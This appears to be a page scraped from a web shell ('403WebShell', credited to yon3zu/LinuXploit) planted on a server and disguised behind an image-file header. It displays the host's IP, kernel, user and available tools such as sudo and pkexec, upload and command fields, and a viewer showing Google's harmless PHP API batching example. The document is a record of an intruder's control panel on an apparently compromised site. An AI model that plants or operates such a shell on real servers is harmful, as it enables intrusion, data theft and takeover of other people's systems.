????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.227
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/google/vendor/google/apiclient/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/google/vendor/google/apiclient/examples/batch.php
<?php
/*
 * Copyright 2013 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
include_once "templates/base.php";
echo pageHeader("Batching Queries");

/************************************************
  We're going to use the simple access to the
  books API again as an example, but this time we
  will batch up two queries into a single call.
 ************************************************/
require_once realpath(dirname(__FILE__) . '/../src/Google/autoload.php');

/************************************************
  We create the client and set the simple API
  access key. If you comment out the call to
  setDeveloperKey, the request may still succeed
  using the anonymous quota.
 ************************************************/
$client = new Google_Client();
$client->setApplicationName("Client_Library_Examples");
$apiKey = "<YOUR_API_KEY>"; // Change to your API key.
// Warn if the API key isn't changed!
if (strpos($apiKey, "<") !== false) {
  echo missingApiKeyWarning();
  exit;
} else {
  $client->setDeveloperKey($apiKey);

  $service = new Google_Service_Books($client);

  /************************************************
    To actually make the batch call we need to 
    enable batching on the client - this will apply 
    globally until we set it to false. This causes
    call to the service methods to return the query
    rather than immediately executing.
   ************************************************/
  $client->setUseBatch(true);

  /************************************************
   We then create a batch, and add each query we 
   want to execute with keys of our choice - these
   keys will be reflected in the returned array.
  ************************************************/
  $batch = new Google_Http_Batch($client);
  $optParams = array('filter' => 'free-ebooks');
  $req1 = $service->volumes->listVolumes('Henry David Thoreau', $optParams);
  $batch->add($req1, "thoreau");
  $req2 = $service->volumes->listVolumes('George Bernard Shaw', $optParams);
  $batch->add($req2, "shaw");

  /************************************************
    Executing the batch will send all requests off
    at once.
   ************************************************/
  $results = $batch->execute();

  echo "<h3>Results Of Call 1:</h3>";
  foreach ($results['response-thoreau'] as $item) {
    echo $item['volumeInfo']['title'], "<br /> \n";
  }
  echo "<h3>Results Of Call 2:</h3>";
  foreach ($results['response-shaw'] as $item) {
    echo $item['volumeInfo']['title'], "<br /> \n";
  }
}

echo pageFooter(__FILE__);

Youez - 2016 - github.com/yon3zu
LinuXploit